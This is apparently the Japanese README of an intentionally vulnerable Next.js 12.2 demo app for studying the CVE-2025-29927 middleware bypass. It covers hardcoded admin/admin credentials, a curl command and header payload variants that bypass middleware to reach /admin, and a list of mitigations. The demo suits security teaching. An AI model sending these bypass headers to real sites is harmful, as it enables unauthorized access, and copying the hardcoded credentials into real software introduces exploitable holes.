Hello World - Next.js 12.2

Next.js 12.2 のシンプルな概念実証アプリケーションです。

🚀 クイックスタート

1. 依存関係のインストール

npm install

2. 開発サーバーの起動

npm run dev

アプリケーションは http://localhost:3000 で利用可能です。

🛠️ 利用可能なスクリプト

• npm run dev - 開発サーバーを起動
• npm run build - プロダクション用にビルド
• npm run start - プロダクションサーバーを起動

🎯 機能

• ✅ Next.js 12.2 - 最新の安定版
• ✅ React 18.2 - モダンなReact機能
• ✅ シンプルなデザイン - クリーンでレスポンシブなUI
• ✅ 認証システム - ハードコードされた認証情報でログイン
• ✅ 管理パネル - 機密データを含む保護されたダッシュボード
• ✅ 脆弱なミドルウェア - 認証バイパス手法の実演
• ✅ エクスプロイトデモ - 再現が容易なセキュリティ問題

🔧 カスタマイズ

pages/index.js を編集して Hello World ページを変更します。このアプリケーションはシンプルさのためにインラインスタイルを使用していますが、必要に応じてCSSファイルやスタイリングライブラリを追加できます。

🔓 CVE-2025-29927 セキュリティデモ

このアプリケーションは、Rachid.A (zhero) 氏と Yasser Allam (inzo_) 氏によって発見された CVE-2025-29927 の脆弱性を実演します。

📋 脆弱性の詳細

• CVE: CVE-2025-29927
• CVSS: 9.1/10 (Critical)
• 影響を受けるバージョン: Next.js 11.1.4 - 15.2.2
• 影響: x-middleware-subrequest ヘッダーを使用した完全なミドルウェアバイパス

🎯 デモ認証情報

• ユーザー名: admin
• パスワード: admin

🚨 CVE-2025-29927 エクスプロイト手法

1. ブラウザ拡張機能 (ModHeader) - x-middleware-subrequest: middleware ヘッダーを追加
2. JavaScriptコンソール - バイパスヘッダー付きのfetchを使用
3. cURLエクスプロイト - curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
4. Python Requests - ヘッダーを追加してミドルウェアを完全にバイパス

🔧 ペイロードのバリエーション

• Next.js 12.2+: x-middleware-subrequest: middleware
• /srcディレクトリ使用時: x-middleware-subrequest: src/middleware
• Next.js 15.x: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

🛡️ 緩和策

• Next.js 15.2.3+ (14.xの場合は14.2.25+) にアップデート
• プロキシ/CDNレベルで x-middleware-subrequest ヘッダーをブロック
• 追加のサーバーサイド検証を実装

⚠️ 警告: これは実際のCVEを教育目的でのみ実演するものです！

📦 依存関係

• next: 12.2.0
• react: 18.2.0
• react-dom: 18.2.0

🎨 スタイリング

このアプリケーションはシンプルさのためにインラインスタイルを使用しています。本番アプリでは以下の使用を検討してください。

• CSS Modules
• Styled Components
• Tailwind CSS
• またはその他のスタイリングソリューション

Happy coding! 🚀